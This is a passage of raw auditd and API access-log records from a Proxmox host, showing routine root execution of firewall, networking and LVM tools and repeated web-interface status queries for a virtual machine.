auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615540,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.540:66376): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966139731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781965305692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.692:65038): arch=c000003e syscall=59 success=yes exit=0 a0=64058edcbe90 a1=64058edc8c10 a2=64058edaa680 a3=5 items=2 ppid=62472 pid=62478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525313,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.313:61409): arch=c000003e syscall=59 success=yes exit=0 a0=64f5d69cad30 a1=64f5d69d6fd0 a2=64f5d69a4680 a3=5 items=2 ppid=58948 pid=58954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615530,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.530:66375): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966139731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965305685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.685:65037): arch=c000003e syscall=59 success=yes exit=0 a0=640560e9aac8 a1=7fffac196760 a2=64058edaa680 a3=640560e7e24e items=2 ppid=62472 pid=62474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.311:61408): arch=c000003e syscall=59 success=yes exit=0 a0=64f5a602bac8 a1=7ffd81576e50 a2=64f5d69a4680 a3=64f5a600f24e items=2 ppid=58948 pid=58950 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615520,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.520:66374): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966139731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965305683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.683:65036): arch=c000003e syscall=59 success=yes exit=0 a0=7fffac196720 a1=64058edc7b00 a2=64058edaa680 a3=5 items=2 ppid=62472 pid=62473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.309:61407): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd81576e10 a1=64f5d69c63d0 a2=64f5d69a4680 a3=5 items=2 ppid=58948 pid=58949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615512,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.512:66373): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966138743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1133"} {"@timestamp":1781965305679,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.679:65034): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.305:61405): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615501,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.501:66372): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966137629,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965305671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.671:65033): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.299:61404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615492,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.492:66370): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966137629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965305661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.661:65032): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.293:61403): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615484,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.484:66369): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966137629,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781965305654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.654:65031): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c60f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.286:61402): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615476,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.476:66368): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966135808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781965305646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.646:65030): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1466b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.279:61401): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615469,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.469:66367): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966134804,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965305636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.636:65029): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1477c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.276:61400): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=611ef3135740 items=0 ppid=1156 pid=58943 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965615462,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.462:66366): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966134804,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:34 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965304843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965304.843:65028): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cbe00 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.274:61399): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc135f10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58943 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615452,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.452:66365): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966134804,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1131"} {"@timestamp":1781965304816,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965304.816:65027): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ab0c0 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.270:61398): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eb7b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58942 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615441,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.441:66364): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966133784,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965302.502:65026): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.264:61397): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b4e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58941 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615429,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.429:66363): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966133784,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1130"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965302.492:65023): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.259:61396): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100f00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615421,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.421:66362): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966133784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965300.346:65020): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c40 a1=637ee7252ef0 a2=637ee7240ef0 a3=8 items=2 ppid=62457 pid=62459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.255:61395): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b4e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615415,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.415:66361): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966131783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965300.346:65019): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253fc0 a1=637ee7254820 a2=637ee7240ef0 a3=8 items=2 ppid=62457 pid=62458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.250:61394): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615414,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.414:66360): argc=1 a0=\"date\""} {"@timestamp":1781966131783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781965300344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965300.344:65018): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242dc0 a1=637ee7252e90 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=62456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.243:61393): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615402,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.402:66358): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966131783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965297.482:65017): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.237:61392): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615388,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.388:66357): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966130774,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965297.475:65014): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.233:61391): arch=c000003e syscall=59 success=yes exit=0 a0=57066d360b60 a1=57066d36cf10 a2=57066d33a680 a3=5 items=2 ppid=58929 pid=58935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615378,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.378:66356): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966130774,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1130"} {"@timestamp":1781965295628,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.628:65011): arch=c000003e syscall=59 success=yes exit=0 a0=60abb8b1ab60 a1=60abb8b26a30 a2=60abb8af4680 a3=5 items=2 ppid=62447 pid=62453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.230:61390): arch=c000003e syscall=59 success=yes exit=0 a0=57065e671ac8 a1=7ffe6b993b80 a2=57066d33a680 a3=57065e65524e items=2 ppid=58929 pid=58931 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615370,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.370:66355): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966130774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1135"} {"@timestamp":1781965295623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.623:65010): arch=c000003e syscall=59 success=yes exit=0 a0=60ab829b2ac8 a1=7ffe3ef7e9a0 a2=60abb8af4680 a3=60ab8299624e items=2 ppid=62447 pid=62449 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.229:61389): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe6b993b40 a1=57066d35c200 a2=57066d33a680 a3=5 items=2 ppid=58929 pid=58930 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615360,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.360:66354): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966129773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781965295621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.621:65009): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe3ef7e960 a1=60abb8b16200 a2=60abb8af4680 a3=5 items=2 ppid=62447 pid=62448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.225:61387): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58929 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615349,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.349:66353): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966127745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965295616,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.616:65007): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.218:61386): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965614670,"@rawstring":"node=pve type=EXECVE msg=audit(1781965614.670:66352): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" 